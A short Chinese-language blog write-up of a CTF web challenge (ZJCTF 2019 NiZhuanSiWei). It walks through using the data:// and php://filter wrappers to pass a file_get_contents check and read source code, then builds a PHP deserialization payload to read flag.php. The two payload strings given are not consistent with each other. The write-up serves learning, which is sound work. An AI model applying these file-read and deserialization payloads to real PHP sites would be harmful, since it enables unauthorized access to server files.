[ZJCTF 2019] NiZhuanSiWei

发布于 2021-08-06  63 次阅读


知识点

php伪协议

https://www.anquanke.com/post/id/202510#h3-3

https://www.cherrygk.cn/2018/07/12/phpagree/

解题

image-20201110211356355.png

审计代码,需要 txt file password三个参数,分段绕过

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这里需要我们对text传参,并让file_get_contents()函数读取内容为 welcome to the zjctf

因此使用 ?text=data:text/plain,welcome to the zjctfdata://伪协议实现绕过。

image-20201110215550935.png

过滤了 关键字flag

image-20201110215616241.png

这里提示读取useless.php,因此file=useless.php。但是php文件会被解析不能输出,因此,用base64编码读取

php://filter/read=convert.base64-encode/resource=useless.php

image-20201111151612183.png

读取到useless.php内容

image-20201111152325331.png

反手写一个反序列化生成payload:

password=O:4:"Flag":2:{s:4:"file";N;s:8:"filename";s:8:"flag.php";}

最终payload

?text=data:text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20201111152953430.png